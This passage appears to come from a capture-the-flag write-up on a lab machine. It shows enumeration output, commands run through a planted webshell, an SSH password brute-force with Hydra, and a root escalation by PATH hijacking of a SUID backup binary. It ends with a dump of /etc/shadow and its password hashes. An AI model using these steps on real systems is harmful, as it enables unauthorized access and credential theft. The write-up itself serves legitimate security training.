-rw-r--r--. 1 apache apache 4.6K May 10 10:25
smarty_internal_method_compilealltemplates.php
-rw-r--r--. 1 apache apache 7.2K May 10 10:25 smarty_internal_method_configload.php
-rw-r--r--. 1 apache apache 1.3K May 10 10:25 smarty_internal_method_createdata.php
-rw-r--r--. 1 apache apache 1.4K May 10 10:25
smarty_internal_method_getautoloadfilters.php
-rw-r--r--. 1 apache apache 919 May 10 10:25
smarty_internal_method_getconfigvariable.php
-rw-r--r--. 1 apache apache 1.6K May 10 10:25 smarty_internal_method_getconfigvars.php
-rw-r--r--. 1 apache apache 709 May 10 10:25
smarty_internal_method_getdebugtemplate.php
-rw-r--r--. 1 apache apache 745 May 10 10:25
smarty_internal_method_getdefaultmodifiers.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25 smarty_internal_method_getglobal.php
-rw-r--r--. 1 apache apache 1.4K May 10 10:25
smarty_internal_method_getregisteredobject.php
-rw-r--r--. 1 apache apache 1.3K May 10 10:25
smarty_internal_method_getstreamvariable.php
-rw-r--r--. 1 apache apache 2.1K May 10 10:25 smarty_internal_method_gettags.php
-rw-r--r--. 1 apache apache 4.0K May 10 10:25
smarty_internal_method_gettemplatevars.php
-rw-r--r--. 1 apache apache 3.0K May 10 10:25 smarty_internal_method_literals.php
-rw-r--r--. 1 apache apache 2.2K May 10 10:25 smarty_internal_method_loadfilter.php
-rw-r--r--. 1 apache apache 4.2K May 10 10:25 smarty_internal_method_loadplugin.php
-rw-r--r--. 1 apache apache 1.8K May 10 10:25 smarty_internal_method_mustcompile.php
-rw-r--r--. 1 apache apache 1.2K May 10 10:25
smarty_internal_method_registercacheresource.php
-rw-r--r--. 1 apache apache 1.4K May 10 10:25 smarty_internal_method_registerclass.php
-rw-r--r--. 1 apache apache 1.2K May 10 10:25
smarty_internal_method_registerdefaultconfighandler.php
-rw-r--r--. 1 apache apache 1.3K May 10 10:25
smarty_internal_method_registerdefaultpluginhandler.php
-rw-r--r--. 1 apache apache 3.0K May 10 10:25
smarty_internal_method_registerdefaulttemplatehandler.php
-rw-r--r--. 1 apache apache 2.5K May 10 10:25 smarty_internal_method_registerfilter.php
-rw-r--r--. 1 apache apache 4.0K May 10 10:25 smarty_internal_method_registerobject.php
-rw-r--r--. 1 apache apache 2.1K May 10 10:25 smarty_internal_method_registerplugin.php

-rw-r--r--. 1 apache apache 1.9K May 10 10:25
smarty_internal_method_registerresource.php
-rw-r--r--. 1 apache apache 2.3K May 10 10:25
smarty_internal_method_setautoloadfilters.php
-rw-r--r--. 1 apache apache 1023 May 10 10:25
smarty_internal_method_setdebugtemplate.php
-rw-r--r--. 1 apache apache 1008 May 10 10:25
smarty_internal_method_setdefaultmodifiers.php
-rw-r--r--. 1 apache apache 1.5K May 10 10:25 smarty_internal_method_unloadfilter.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25
smarty_internal_method_unregistercacheresource.php
-rw-r--r--. 1 apache apache 1.5K May 10 10:25 smarty_internal_method_unregisterfilter.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25
smarty_internal_method_unregisterobject.php
-rw-r--r--. 1 apache apache 1.2K May 10 10:25
smarty_internal_method_unregisterplugin.php
-rw-r--r--. 1 apache apache 1.1K May 10 10:25
smarty_internal_method_unregisterresource.php
-rw-r--r--. 1 apache apache 1.7K May 10 10:25 smarty_internal_nocache_insert.php
-rw-r--r--. 1 apache apache 907 May 10 10:25 smarty_internal_parsetree.php
-rw-r--r--. 1 apache apache 889 May 10 10:25 smarty_internal_parsetree_code.php
-rw-r--r--. 1 apache apache 3.3K May 10 10:25 smarty_internal_parsetree_dq.php
-rw-r--r--. 1 apache apache 930 May 10 10:25 smarty_internal_parsetree_dqcontent.php
-rw-r--r--. 1 apache apache 1.8K May 10 10:25 smarty_internal_parsetree_tag.php
-rw-r--r--. 1 apache apache 4.1K May 10 10:25 smarty_internal_parsetree_template.php
-rw-r--r--. 1 apache apache 838 May 10 10:25 smarty_internal_parsetree_text.php
-rw-r--r--. 1 apache apache 2.8K May 10 10:25 smarty_internal_resource_eval.php
-rw-r--r--. 1 apache apache 3.7K May 10 10:25 smarty_internal_resource_extends.php
-rw-r--r--. 1 apache apache 6.7K May 10 10:25 smarty_internal_resource_file.php
-rw-r--r--. 1 apache apache 3.6K May 10 10:25 smarty_internal_resource_php.php
-rw-r--r--. 1 apache apache 3.2K May 10 10:25 smarty_internal_resource_registered.php
-rw-r--r--. 1 apache apache 2.4K May 10 10:25 smarty_internal_resource_stream.php
-rw-r--r--. 1 apache apache 3.1K May 10 10:25 smarty_internal_resource_string.php
-rw-r--r--. 1 apache apache 2.6K May 10 10:25 smarty_internal_runtime_cachemodify.php
-rw-r--r--. 1 apache apache 5.8K May 10 10:25
smarty_internal_runtime_cacheresourcefile.php
-rw-r--r--. 1 apache apache 4.1K May 10 10:25 smarty_internal_runtime_capture.php
-rw-r--r--. 1 apache apache 4.0K May 10 10:25 smarty_internal_runtime_codeframe.php
-rw-r--r--. 1 apache apache 3.0K May 10 10:25 smarty_internal_runtime_filterhandler.php
-rw-r--r--. 1 apache apache 5.4K May 10 10:25 smarty_internal_runtime_foreach.php
-rw-r--r--. 1 apache apache 4.9K May 10 10:25 smarty_internal_runtime_getincludepath.php
-rw-r--r--. 1 apache apache 8.2K May 10 10:25 smarty_internal_runtime_inheritance.php
-rw-r--r--. 1 apache apache 2.1K May 10 10:25 smarty_internal_runtime_make_nocache.php
-rw-r--r--. 1 apache apache 7.5K May 10 10:25 smarty_internal_runtime_tplfunction.php
-rw-r--r--. 1 apache apache 6.5K May 10 10:25 smarty_internal_runtime_updatecache.php
-rw-r--r--. 1 apache apache 3.9K May 10 10:25 smarty_internal_runtime_updatescope.php
-rw-r--r--. 1 apache apache 3.4K May 10 10:25 smarty_internal_runtime_writefile.php
-rw-r--r--. 1 apache apache 5.5K May 10 10:25 smarty_internal_smartytemplatecompiler.php

```
-rw-r--r--. 1 apache apache  26K May 10 10:25 smarty_internal_template.php
-rw-r--r--. 1 apache apache  14K May 10 10:25 smarty_internal_templatebase.php
-rw-r--r--. 1 apache apache  59K May 10 10:25 smarty_internal_templatecompilerbase.php
-rw-r--r--. 1 apache apache  36K May 10 10:25 smarty_internal_templatelexer.php
-rw-r--r--. 1 apache apache 135K May 10 10:25 smarty_internal_templateparser.php
-rw-r--r--. 1 apache apache  32K May 10 10:25 smarty_internal_testinstall.php
-rw-r--r--. 1 apache apache 1.7K May 10 10:25 smarty_internal_undefined.php
-rw-r--r--. 1 apache apache 9.3K May 10 10:25 smarty_resource.php
-rw-r--r--. 1 apache apache 3.0K May 10 10:25 smarty_resource_custom.php
-rw-r--r--. 1 apache apache 2.4K May 10 10:25 smarty_resource_recompiled.php
-rw-r--r--. 1 apache apache 1.4K May 10 10:25 smarty_resource_uncompiled.php
-rw-r--r--. 1 apache apache  23K May 10 10:25 smarty_security.php
-rw-r--r--. 1 apache apache 7.6K May 10 10:25 smarty_template_cached.php
-rw-r--r--. 1 apache apache 9.3K May 10 10:25 smarty_template_compiled.php
-rw-r--r--. 1 apache apache 3.0K May 10 10:25 smarty_template_config.php
-rw-r--r--. 1 apache apache 3.5K May 10 10:25 smarty_template_resource_base.php
-rw-r--r--. 1 apache apache 5.3K May 10 10:25 smarty_template_source.php
-rw-r--r--. 1 apache apache  567 May 10 10:25 smarty_undefined_variable.php
-rw-r--r--. 1 apache apache  910 May 10 10:25 smarty_variable.php
-rw-r--r--. 1 apache apache  771 May 10 10:25 smartycompilerexception.php
-rw-r--r--. 1 apache apache  334 May 10 10:25 smartyexception.php

/var/www/html/css:
total 8.0K
drwxr-xr-x. 2 apache apache   33 May 10 10:25 .
drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 ..
-rw-r--r--. 1 apache apache  289 May 10 10:25 heroic-features.css

/var/www/html/img:
total 440K
drwxr-xr-x. 2 apache apache   82 May 10 10:25 .
drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 ..
-rw-r--r--. 1 apache apache 109K May 10 10:25 CoV2.jpg
-rw-r--r--. 1 apache apache  17K May 10 10:25 HS.JPG
-rw-r--r--. 1 apache apache  62K May 10 10:25 N95 Mask.JPG
-rw-r--r--. 1 apache apache 237K May 10 10:25 Nitrile gloves.png

/var/www/html/settings:
total 8.0K
drwxr-xr-x. 2 apache apache   24 May 10 10:39 .
drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 ..
-rw-r--r--. 1 apache apache  142 May 10 10:39 config.php

/var/www/html/vendor:
total 4.0K
drwxr-xr-x. 4 apache apache   37 May 10 10:25 .
drwxrwxrwx. 8 apache apache 4.0K Jul 15 02:35 ..
drwxr-xr-x. 4 apache apache   27 May 10 10:25 bootstrap
```

```
drwxr-xr-x. 2 apache apache  141 May 10 10:25 jquery

/var/www/html/vendor/bootstrap:
total 4.0K
drwxr-xr-x. 4 apache apache   27 May 10 10:25 .
drwxr-xr-x. 4 apache apache   37 May 10 10:25 ..
drwxr-xr-x. 2 apache apache 4.0K May 10 10:25 css
drwxr-xr-x. 2 apache apache  226 May 10 10:25 js

/var/www/html/vendor/bootstrap/css:
total 1.9M
drwxr-xr-x. 2 apache apache 4.0K May 10 10:25 .
drwxr-xr-x. 4 apache apache   27 May 10 10:25 ..
-rw-r--r--. 1 apache apache  64K May 10 10:25 bootstrap-grid.css
-rw-r--r--. 1 apache apache 149K May 10 10:25 bootstrap-grid.css.map
-rw-r--r--. 1 apache apache  48K May 10 10:25 bootstrap-grid.min.css
-rw-r--r--. 1 apache apache 106K May 10 10:25 bootstrap-grid.min.css.map
-rw-r--r--. 1 apache apache 4.8K May 10 10:25 bootstrap-reboot.css
-rw-r--r--. 1 apache apache  75K May 10 10:25 bootstrap-reboot.css.map
-rw-r--r--. 1 apache apache 4.0K May 10 10:25 bootstrap-reboot.min.css
-rw-r--r--. 1 apache apache  32K May 10 10:25 bootstrap-reboot.min.css.map
-rw-r--r--. 1 apache apache 188K May 10 10:25 bootstrap.css
-rw-r--r--. 1 apache apache 481K May 10 10:25 bootstrap.css.map
-rw-r--r--. 1 apache apache 153K May 10 10:25 bootstrap.min.css
-rw-r--r--. 1 apache apache 612K May 10 10:25 bootstrap.min.css.map

/var/www/html/vendor/bootstrap/js:
total 1.6M
drwxr-xr-x. 2 apache apache  226 May 10 10:25 .
drwxr-xr-x. 4 apache apache   27 May 10 10:25 ..
-rw-r--r--. 1 apache apache 218K May 10 10:25 bootstrap.bundle.js
-rw-r--r--. 1 apache apache 393K May 10 10:25 bootstrap.bundle.js.map
-rw-r--r--. 1 apache apache  77K May 10 10:25 bootstrap.bundle.min.js
-rw-r--r--. 1 apache apache 305K May 10 10:25 bootstrap.bundle.min.js.map
-rw-r--r--. 1 apache apache 129K May 10 10:25 bootstrap.js
-rw-r--r--. 1 apache apache 245K May 10 10:25 bootstrap.js.map
-rw-r--r--. 1 apache apache  57K May 10 10:25 bootstrap.min.js
-rw-r--r--. 1 apache apache 186K May 10 10:25 bootstrap.min.js.map

/var/www/html/vendor/jquery:
total 904K
drwxr-xr-x. 2 apache apache  141 May 10 10:25 .
drwxr-xr-x. 4 apache apache   37 May 10 10:25 ..
-rw-r--r--. 1 apache apache 274K May 10 10:25 jquery.js
-rw-r--r--. 1 apache apache  87K May 10 10:25 jquery.min.js
-rw-r--r--. 1 apache apache 134K May 10 10:25 jquery.min.map
-rw-r--r--. 1 apache apache 222K May 10 10:25 jquery.slim.js
-rw-r--r--. 1 apache apache  70K May 10 10:25 jquery.slim.min.js
```

-rw-r--r--. 1 apache apache 107K May 10 10:25 jquery.slim.min.map

INTERESTING FILES
[-] Useful file locations:

[-] Can we read/write sensitive files:
-rw-r--r-- 1 root root 2000 May 10 15:51 /etc/passwd
-rw-r--r-- 1 root root 794 May 10 15:51 /etc/group
-rw-r--r--. 1 root root 2078 Sep 10 2018 /etc/profile
---------- 1 root root 1161 May 10 15:51 /etc/shadow

[-] SUID files:
-rwsr-xr-x. 1 root root 38680 May 11 2019 /usr/bin/fusermount
-rwsr-xr-x. 1 root root 62104 Nov 8 2019 /usr/bin/su
-rwsr-xr-x. 1 root root 133928 Nov 8 2019 /usr/bin/chage
-rwsr-xr-x. 1 root root 156736 Nov 8 2019 /usr/bin/gpasswd
-rwsr-xr-x. 1 root root 88488 Nov 8 2019 /usr/bin/newgrp
-rwsr-xr-x. 1 root root 61856 Nov 8 2019 /usr/bin/mount
-rwsr-xr-x. 1 root root 40728 Nov 8 2019 /usr/bin/umount
-rwsr-xr-x. 1 root root 31488 Nov 11 2019 /usr/bin/pkexec
-rwsr-xr-x. 1 root root 65904 Nov 8 2019 /usr/bin/crontab
-rws--x--x. 1 root root 48896 Nov 8 2019 /usr/bin/chfn
-rws--x--x. 1 root root 37816 Nov 8 2019 /usr/bin/chsh
---s--x--x. 1 root root 207056 Mar 20 18:28 /usr/bin/sudo
-rwsr-xr-x. 1 root root 61688 May 11 2019 /usr/bin/at
-rwsr-xr-x. 1 root root 34928 May 11 2019 /usr/bin/passwd
-rwsr-xr-x. 1 root root 16672 May 9 19:21 /usr/bin/backup
-rwsr-xr-x. 1 root root 12712 Feb 5 01:46 /usr/sbin/grub2-set-bootflag
-rwsr-xr-x. 1 root root 13376 May 11 2019 /usr/sbin/pam_timestamp_check
-rwsr-xr-x. 1 root root 40080 May 11 2019 /usr/sbin/unix_chkpwd
-rwsr-xr-x. 1 root root 182088 Nov 8 2019 /usr/sbin/mount.nfs
-rwsr-xr-x. 1 root root 21424 Nov 11 2019 /usr/lib/polkit-1/polkit-agent-helper-1
-rwsr-x---. 1 root dbus 70064 Nov 8 2019 /usr/libexec/dbus-1/dbus-daemon-launch-helper
-rwsr-xr-x. 1 root root 21880 May 14 2019 /usr/libexec/gstreamer-1.0/gst-ptp-helper
-rwsr-x---. 1 root sssd 217400 Apr 13 18:09 /usr/libexec/sssd/krb5_child
-rwsr-x---. 1 root sssd 119576 Apr 13 18:09 /usr/libexec/sssd/ldap_child
-rwsr-x---. 1 root sssd 72768 Apr 13 18:09 /usr/libexec/sssd/selinux_child
-rwsr-x---. 1 root sssd 34800 Apr 13 18:09 /usr/libexec/sssd/proxy_child
-rwsr-xr-x. 1 root root 22200 Apr 10 11:45 /usr/libexec/qemu-bridge-helper
-rwsr-x---. 1 root cockpit-ws 48720 Nov 8 2019 /usr/libexec/cockpit-session

[-] SGID files:
-rwxr-sr-x. 1 root tty 26080 Nov 8 2019 /usr/bin/write
-rwx--s--x. 1 root slocate 48552 May 11 2019 /usr/bin/locate

-rwx--s--x. 1 root utmp 13344 May 11 2019 /usr/libexec/utempter/utempter
-r-xr-sr-x. 1 root ssh_keys 630344 Feb 4 16:01 /usr/libexec/openssh/ssh-keysign

[+] Files with POSIX capabilities set:
/usr/bin/newgidmap = cap_setgid+ep
/usr/bin/newuidmap = cap_setuid+ep
/usr/bin/ping = cap_net_admin,cap_net_raw+p
/usr/sbin/arping = cap_net_raw+p
/usr/sbin/clockdiff = cap_net_raw+p
/usr/sbin/mtr-packet = cap_net_raw+ep
/usr/sbin/suexec = cap_setgid,cap_setuid+ep

[-] World-writable files (excluding /proc and /sys):
-rw-rw-rw- 1 mysql mysql 27 Jul 15 01:54 /var/www/html/webshell.php

[-] NFS config details:
-rw-r--r--. 1 root root 0 Sep 10 2018 /etc/exports

[-] NFS displaying partitions and filesystems - you need to check if exotic filesystems

#
/etc/fstab
Created by anaconda on Sat May 9 14:02:49 2020
#
Accessible filesystems, by reference, are maintained under '/dev/disk/'.
See man pages fstab(5), findfs(8), mount(8) and/or blkid(8) for more info.
#
After editing this file, run 'systemctl daemon-reload' to update systemd
units generated from this file.
#
/dev/mapper/cl-root   /   xfs   defaults   0 0
UUID=16140c22-1e97-400a-9987-29f9f1b79599 /boot   ext4   defaults   1 2
/dev/mapper/cl-swap   swap   swap   defaults   0 0

[-] Can't search *.conf files as no keyword was entered

[-] Can't search *.php files as no keyword was entered

[-] Can't search *.log files as no keyword was entered

[-] Can't search *.ini files as no keyword was entered

[-] All *.conf files in /etc (recursive 1 level):

-rw-r--r-- 1 root root 80 Jul 15 00:07 /etc/resolv.conf
-rw-r--r--. 1 root root 642 Dec 9 2016 /etc/xattr.conf
-rw-r--r--. 1 root root 812 Nov 8 2019 /etc/krb5.conf
-rw-r--r--. 1 root root 9 Sep 10 2018 /etc/host.conf
-rw-r--r--. 1 root root 117 Jan 3 2020 /etc/dracut.conf
-rw-r--r--. 1 root root 449 Apr 9 22:52 /etc/sysctl.conf
-rw-r--r--. 1 root root 28 Feb 4 15:58 /etc/ld.so.conf
-rw-r--r--. 1 root root 38 May 11 2019 /etc/fuse.conf
-rw-r-----. 1 root root 191 Jun 7 2019 /etc/libaudit.conf
-rw-------. 1 tss tss 7046 Dec 13 2019 /etc/tcsd.conf
-rw-r--r--. 1 root root 216 Feb 4 19:00 /etc/sestatus.conf
-rw-r--r--. 1 root root 1787 May 11 2019 /etc/request-key.conf
-rw-r--r--. 1 root root 2620 May 11 2019 /etc/mtools.conf
-rw-r--r--. 1 root root 2391 Jul 23 2015 /etc/libuser.conf
-rw-r--r--. 1 root root 812 Nov 8 2019 /etc/mke2fs.conf
-rw-r--r--. 1 root root 4849 Nov 8 2019 /etc/idmapd.conf
-rw-r--r--. 1 root root 20 May 21 2019 /etc/fprintd.conf
-rw-r--r--. 1 root dnsmasq 26843 Dec 13 2019 /etc/dnsmasq.conf
-rw-r--r--. 1 root root 4922 May 14 2019 /etc/oddjobd.conf
-rw-r--r--. 1 root root 433 May 14 2019 /etc/radvd.conf
-rw-r--r--. 1 root root 478 Apr 10 11:43 /etc/ksmtuned.conf
-rw-r--r--. 1 root root 7916 May 9 14:53 /etc/kdump.conf
-rw-r--r--. 1 root root 438 Feb 19 2018 /etc/logrotate.conf
-rw-r--r--. 1 root root 3185 Nov 8 2019 /etc/rsyslog.conf
-rw-r--r--. 1 root root 55 Nov 8 2019 /etc/asound.conf
-rw-r--r--. 1 root root 1024 Nov 8 2019 /etc/nfs.conf
-rw-r--r--. 1 root root 3606 Nov 8 2019 /etc/nfsmount.conf
-rw-r--r--. 1 root root 1085 May 10 2019 /etc/chrony.conf
-rw-r--r--. 1 root root 138 Jan 3 2020 /etc/sos.conf
-rw-r--r--. 1 root root 587 May 11 2019 /etc/updatedb.conf
-rw-r-----. 1 root root 3181 Mar 20 18:26 /etc/sudo-ldap.conf
-rw-r-----. 1 root root 1786 Mar 20 18:26 /etc/sudo.conf
-rw-r--r--. 1 root root 5165 May 11 2019 /etc/man_db.conf
-rw-r--r--. 1 root root 28 May 9 14:22 /etc/vconsole.conf
-rw-r--r--. 1 root root 19 May 9 14:22 /etc/locale.conf
-rw-r--r--. 1 root root 4023 Nov 14 2019 /etc/php-fpm.conf
-rw-r--r--. 1 root root 508 May 14 2019 /etc/elinks.conf

[-] Location and Permissions (if accessible) of .bak file(s):
-rw-r--r--. 1 root root 1498 Nov 6 2019 /etc/nsswitch.conf.bak

[-] Any interesting mail in /var/mail:
lrwxrwxrwx. 1 root root 10 May 11 2019 /var/mail -> spool/mail

SCAN COMPLETE

> the SUID binary "/usr/bin/backup" is unusual

```
-rwsr-xr-x. 1 root root 16672 May  9 19:21 /usr/bin/backup
```

> Let's have a look a it using the STRINGS command..

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=strings%20/usr/bin/backup
/lib64/ld-linux-x86-64.so.2
libc.so.6
setuid
system
__libc_start_main
GLIBC_2.2.5
_ITM_deregisterTMCloneTable
__gmon_start__
_ITM_registerTMCloneTable
[]A\A]A^A_
/home/moneygrabber/backup.sh
;*3$"
GCC: (GNU) 8.3.1 20190507 (Red Hat 8.3.1-4)
3h878
3c878
3s878
3e878
3h878
3c878
3s878
3e878
3p878
gcc 8.3.1 20190507
<SNIP>
```

> This binary run "/home/moneygrabber/backup.sh"

```
jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=ls%20/home/
admin
moneygrabber

jeff@kali:~/Documents/CTFs/CreditCardScammers$ curl
http://192.168.1.28/webshell.php?cmd=ls%20/home/moneygrabber/
```

> I don't have access to it, I need to find the password of the account "moneygrabber"... Let's try a basic bruteforce attack with Hydra and rockyou.txt...

jeff@kali:~/Documents/CTFs/CreditCardScammers$ hydra -v -l moneygrabber -P /usr/share/wordlists/rockyou.txt 192.168.1.28 ssh
Hydra v9.0 (c) 2019 by van Hauser/THC - Please do not use in military or secret service organizations, or for illegal purposes.
Hydra (https://github.com/vanhauser-thc/thc-hydra) starting at 2020-07-15 04:34:18
[WARNING] Many SSH configurations limit the number of parallel tasks, it is recommended to reduce the tasks: use -t 4
[DATA] max 16 tasks per 1 server, overall 16 tasks, 14344399 login tries (l:1/p:14344399), ~896525 tries per task
[DATA] attacking ssh://192.168.1.28:22/
[VERBOSE] Resolving addresses ... [VERBOSE] resolving done
[INFO] Testing if password authentication is supported by ssh://moneygrabber@192.168.1.28:22
[INFO] Successful, password authentication is supported by ssh://192.168.1.28:22
<SNIP>
[STATUS] 139.67 tries/min, 419 tries in 00:03h, 14343980 to do in 1711:42h, 16 active
<SNIP>
[STATUS] 103.23 tries/min, 18065 tries in 02:55h, 14326334 to do in 2313:03h, 16 active

[22][ssh] host: 192.168.1.28   login: moneygrabber   password: delta1

[STATUS] attack finished for 192.168.1.28 (waiting for children to complete tests)
1 of 1 target successfully completed, 1 valid password found
[WARNING] Writing restore file because 6 final worker threads did not complete until end.
[ERROR] 6 targets did not resolve or could not be connected
Hydra (https://github.com/vanhauser-thc/thc-hydra) finished at 2020-07-15 07:42:25

> creds found: moneygrabber:delta1

> Log into the Linux host as "moneygrabber" and see that there is a PATH ENV privesc with the binary TAR in the script "/home/moneygrabber/backup.sh"
  which can be executed with root privileges thanks to SUID binary "/usr/bin/backup"

MBP-P3nt3st3r:~ jeff$ ssh moneygrabber@192.168.1.28
MONEY MAKER.
PLEASE LOGIN.
moneygrabber@192.168.1.28's password:
Last failed login: Wed Jul 15 06:42:33 BST 2020 from 192.168.1.21 on ssh:notty
There were 18628 failed login attempts since the last successful login.
Last login: Sun May 10 11:05:38 2020

[moneygrabber@ppeshop ~]$ sudo -l

We trust you have received the usual lecture from the local System

Administrator. It usually boils down to these three things:

#1) Respect the privacy of others.
#2) Think before you type.
#3) With great power comes great responsibility.

[sudo] password for moneygrabber:
Sorry, user moneygrabber may not run sudo on ppeshop.

[moneygrabber@ppeshop ~]$ su root
Password:
su: Authentication failure

[moneygrabber@ppeshop ~]$ ls -al
total 24
drwx------. 2 moneygrabber moneygrabber 133 May 10 11:22 .
drwxr-xr-x. 4 root   root   39 May 10 15:51 ..
lrwxrwxrwx. 1 moneygrabber moneygrabber   9 May 9 19:02 .bash_history -> /dev/null
-rw-r--r--. 1 moneygrabber moneygrabber   18 Nov 8 2019 .bash_logout
-rw-r--r--. 1 moneygrabber moneygrabber 141 Nov 8 2019 .bash_profile
-rw-r--r--. 1 moneygrabber moneygrabber 312 Nov 8 2019 .bashrc
-rw-------. 1 moneygrabber moneygrabber 2033 May 10 11:03 .viminfo
-rwxr-xr-x. 1 root   root   54 May 9 19:16 backup.sh
-rwx------. 1 moneygrabber moneygrabber   21 May 10 11:22 flag2.txt

[moneygrabber@ppeshop ~]$ cat flag2.txt
9N8U10EAVU10cbSZPCRv

[moneygrabber@ppeshop ~]$ cat backup.sh
#!/bin/bash
tar -cf mysql.tar /var/lib/mysql
sleep 30

==========
==========
Step 4. Privilege escalation to root
==========
==========

> Privilege escalation to root by manipulating our $PATH environment variable and executing the SUID binary "/usr/bin/backup"

[moneygrabber@ppeshop ~]$ echo $PATH
/home/moneygrabber/.local/bin:/home/moneygrabber/bin:/usr/local/bin:/usr/bin:/usr/local/sbin:/usr/sbin

[moneygrabber@ppeshop ~]$ export PATH=.:$PATH

```
[moneygrabber@ppeshop ~]$ echo $PATH
.:/home/moneygrabber/.local/bin:/home/moneygrabber/bin:/usr/local/bin:/usr/bin:/usr/local/sbi
n:/usr/sbin

[moneygrabber@ppeshop ~]$ cp /bin/less ./tar

[moneygrabber@ppeshop ~]$ /usr/bin/backup

mysql.tar: No such file or directory
/var/lib/mysql  (press RETURN)

!id
uid=0(root) gid=1000(moneygrabber) groups=1000(moneygrabber)
!done  (press RETURN)

!cat /etc/shadow
root:$6$ck2F/EKT6zdLk8ks$KYt5/pr4nLa4EKr4Yb2NdJdHN3wWb4Qm7mfYZSPpkjxHyqbv
2tsoGFgzRH/FtSolWHjMdouaWaI9kBz8nzLQ8.:18392:0:99999:7:::
bin:*:18078:0:99999:7:::
daemon:*:18078:0:99999:7:::
adm:*:18078:0:99999:7:::
lp:*:18078:0:99999:7:::
sync:*:18078:0:99999:7:::
shutdown:*:18078:0:99999:7:::
halt:*:18078:0:99999:7:::
mail:*:18078:0:99999:7:::
operator:*:18078:0:99999:7:::
games:*:18078:0:99999:7:::
ftp:*:18078:0:99999:7:::
nobody:*:18078:0:99999:7:::
dbus:!!:18391::::::
systemd-coredump:!!:18391::::::
systemd-resolve:!!:18391::::::
tss:!!:18391::::::
polkitd:!!:18391::::::
unbound:!!:18391::::::
rpc:!!:18391:0:99999:7:::
gluster:!!:18391::::::
libstoragemgmt:!!:18391::::::
saslauth:!!:18391::::::
dnsmasq:!!:18391::::::
radvd:!!:18391::::::
setroubleshoot:!!:18391::::::
sssd:!!:18391::::::
qemu:!!:18391::::::
cockpit-ws:!!:18391::::::
rpcuser:!!:18391::::::
```

sshd:!!:18391::::::
chrony:!!:18391::::::
tcpdump:!!:18391::::::
apache:!!:18391::::::
nginx:!!:18391::::::
mysql:!!:18391::::::
moneygrabber:$6$0.h50bxCD2UFYqjK$Rz0ufnWjesSGujIlmP3VS7Y7yHkkkIOApEZP.x6zD5Fb9c7QlCNu64rdDLFlHM6CCndzdbEzZAc7SuNMn3fIe1:18392:0:99999:7:::
admin:!!:18392:0:99999:7:::
!done (press RETURN)